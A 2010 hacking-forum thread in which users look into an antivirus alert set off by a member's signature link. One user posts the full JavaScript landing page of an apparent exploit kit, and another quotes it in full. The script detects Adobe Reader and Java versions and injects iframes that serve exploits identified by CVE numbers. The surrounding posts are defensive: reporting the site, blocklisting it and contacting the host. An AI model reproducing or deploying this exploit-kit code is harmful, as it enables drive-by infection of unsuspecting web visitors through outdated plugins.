

Forum:[Hack Forums](#)

Thread: [Infected Iframe in HF thread and Signature..???!!!](#)

supersurfer - December 25, 2010, 11:22 pm

Hey all..

Its not flame or am not targeting anyone..

i was looking at one of the thread in the Website Hacking Section..

when i checked this thread..<https://hackforums.net/showthread.php?tid=925743>

my avira gave popup saying JS/Agent virus... why this pop is coming..and also the link to the infected page is loading in the status bar..whts this..

the infected link to the infected image is in the signature of this guy

<https://hackforums.net/member.php?action=profile&uid=112882>

proof: WARNING BIG PICTURE

thread

Spoiler [\(Click to View\)](#)

profile

Spoiler [\(Click to View\)](#)

the path in avira pop indicates that the url has bleeding life installed....lolz..

whts this..please have a look..

alux - December 25, 2010, 11:25 pm

too bad images don't work like that

Woe Is Me - December 25, 2010, 11:34 pm

(Dec 26, 2010 12:25 AM)alux Wrote: [\[CITE\]](#) too bad images don't work like that

Yes they do all the time, when their linked to a website that the av declares bad, or infected and or known to have malicious items its tagged as that. OP dont worry bout it usually false positive seen many signatures do that to me to, usually staff just removes it

alux - December 25, 2010, 11:36 pm

(Dec 26, 2010 12:34 AM)urdead85 Wrote: [\[CITE\]](#) Yes they do all the time, when their linked to a website that the av declares bad, or infected and or known to have malicious items its tagged as that. OP dont worry bout it usually false positive seen many signatures do that to me to, usually staff just removes itFor the person who's sering the 'image', fool. If you visit the image URL you can see it's a plaintext HTML file...

Black Mesa - December 25, 2010, 11:52 pm

It's most likely PHP in the form of an image..

Contact a staff member

Mongrel - December 25, 2010, 11:52 pm

It's an iFrame mate!

here's the code for analysis

Code <body></body>

```
<script src="include/PluginDetect.js"></script>
```

```
<script>
```

```
function acrobatCheck() {  
    var acrobat=new Object();  
    acrobat.installed=false;  
    acrobat.version='0';  
    var adobe = PluginDetect.getVersion("AdobeReader");  
    if(adobe!=null){  
        acrobat.installed=true;  
        var vArray = adobe.split(",");  
        acrobat.version = vArray[0] + vArray[1] + vArray[2];  
    }  
    return acrobat;  
}  
  
function javaCheck() {  
    var ojava=new Object();  
    ojava.installed=false;  
    ojava.version='0';  
    ojava.build='0';  
    var javaversion = PluginDetect.getVersion('Java', 'include/getJavaInfo.jar')  
    if(javaversion!=null){  
        ojava.installed=true;  
        var vArray = javaversion.split(",");  
        ojava.version = vArray[1];  
        ojava.build = vArray[3];  
    }  
}
```

```

    }

    return ojava;
}

var ExploitFrames = new Array();

var CurrentExploit = 0;

javaExploit();

acrobatExploit();

javaSigned();

if(ExploitFrames.length > 0){

    NextExploit();

}

function NextExploit(){

    var mydiv=document.createElement("div");

    mydiv.innerHTML=ExploitFrames[CurrentExploit];

    document.body.appendChild(mydiv);

    if(CurrentExploit < ExploitFrames.length){

        CurrentExploit++;

        setTimeout("NextExploit()", 20000);

    }

}

function acrobatExploit(){

    var acrobat = acrobatCheck();

    if(acrobat.installed){

        if(acrobat.version >= 800 && acrobat.version < 821){

            ExploitFrames.push("<iframe src='load.php?e=Adobe-80-2010-0188.php'></iframe>");

        }else if(acrobat.version >= 900 && acrobat.version <= 932){

```

```

    if(acrobat.version < 931){

        ExploitFrames.push("<iframe
src='load.php?e=Adobe-90-2010-0188.php'></iframe>");

    }else{

        ExploitFrames.push("<iframe src='load.php?e=Adobe-2010-1297.php'></iframe>");

    }

}else if(acrobat.version >= 700 && acrobat.version < 711){

    ExploitFrames.push("<iframe src='load.php?e=Adobe-2008-2992.php'></iframe>");

}

}

function javaExploit(){

    var ojava = javaCheck();

    if(ojava.installed){

        if(ojava.version < 6 || (ojava.version == 6 && ojava.build < 19)){

            ExploitFrames.push("<iframe src='load.php?e=Java-2010-0842.php'></iframe>");

        }

    }

}

function javaSigned(){

    var ojava = javaCheck();

    if(ojava.installed){

        ExploitFrames.push("<iframe src='load.php?e=JavaSignedApplet.php'></iframe>");

    }

}

</script>

```

Black Mesa - December 25, 2010, 11:57 pm

(Dec 26, 2010 12:52 AM)nitrob Wrote: [\[CITE\]](#) It's an iFrame mate!

here's the code for analysis

Code <body></body>

```
<script src="include/PluginDetect.js"></script>
```

```
<script>
```

```
function acrobatCheck() {  
    var acrobat=new Object();  
    acrobat.installed=false;  
    acrobat.version='0';  
    var adobe = PluginDetect.getVersion("AdobeReader");  
    if(adobe!=null){  
        acrobat.installed=true;  
        var vArray = adobe.split(",");  
        acrobat.version = vArray[0] + vArray[1] + vArray[2];  
    }  
    return acrobat;  
}  
  
function javaCheck() {  
    var ojava=new Object();  
    ojava.installed=false;  
    ojava.version='0';  
    ojava.build='0';  
    var javaversion = PluginDetect.getVersion('Java', 'include/getJavaInfo.jar')  
    if(javaversion!=null){  
        ojava.installed=true;  
        var vArray = javaversion.split(",");  
        ojava.version = vArray[1];  
        ojava.build = vArray[3];  
    }  
}
```

```

    }

    return ojava;
}

var ExploitFrames = new Array();

var CurrentExploit = 0;

javaExploit();

acrobatExploit();

javaSigned();

if(ExploitFrames.length > 0){

    NextExploit();

}

function NextExploit(){

    var mydiv=document.createElement("div");

    mydiv.innerHTML=ExploitFrames[CurrentExploit];

    document.body.appendChild(mydiv);

    if(CurrentExploit < ExploitFrames.length){

        CurrentExploit++;

        setTimeout("NextExploit()", 20000);

    }

}

function acrobatExploit(){

    var acrobat = acrobatCheck();

    if(acrobat.installed){

        if(acrobat.version >= 800 && acrobat.version < 821){

            ExploitFrames.push("<iframe src='load.php?e=Adobe-80-2010-0188.php'></iframe>");

        }else if(acrobat.version >= 900 && acrobat.version <= 932){

```

```

    if(acrobat.version < 931){

        ExploitFrames.push("<iframe
src='load.php?e=Adobe-90-2010-0188.php'></iframe>");

    }else{

        ExploitFrames.push("<iframe src='load.php?e=Adobe-2010-1297.php'></iframe>");

    }

}

}else if(acrobat.version >= 700 && acrobat.version < 711){

    ExploitFrames.push("<iframe src='load.php?e=Adobe-2008-2992.php'></iframe>");

}

}

}

function javaExploit(){

    var ojava = javaCheck();

    if(ojava.installed){

        if(ojava.version < 6 || (ojava.version == 6 && ojava.build < 19)){

            ExploitFrames.push("<iframe src='load.php?e=Java-2010-0842.php'></iframe>");

        }

    }

}

function javaSigned(){

    var ojava = javaCheck();

    if(ojava.installed){

        ExploitFrames.push("<iframe src='load.php?e=JavaSignedApplet.php'></iframe>");

    }

}

}

</script>
load.php?e=JavaSignedApplet.php

```

User needs a ban for sure

Edit:

I'm pulling out some connections.. The site will be ipblocked soon

Edit 2:

Submitted website to hphost database and also to major communities that take care of such websites (WOT, Siteadvisor)

I also took the opportunity to contact Godaddy.

Crypt.dll - December 26, 2010, 12:27 am

what a noob.. does he really think the exploit can work based on a [img] in a signature? LOOL

what a silly skid

Black Mesa - December 26, 2010, 12:29 am

Anyways, a browser exploit is a browser exploit. Godaddy better go scared and suspend them.. Ip blocks cost money to unblock.

supersurfer - December 26, 2010, 12:35 am

(Dec 26, 2010 01:27 AM)Crypt.dll Wrote: [\[CITE\]](#) what a noob.. does he really think the exploit can work based on a [img] in a signature? LOOL

what a silly skidhave you ever analyzed a exploit pack.. increase your knowledge or gtfo here.. or read what other people are saying..

The Rated R Superstar - December 26, 2010, 12:38 am

Handled.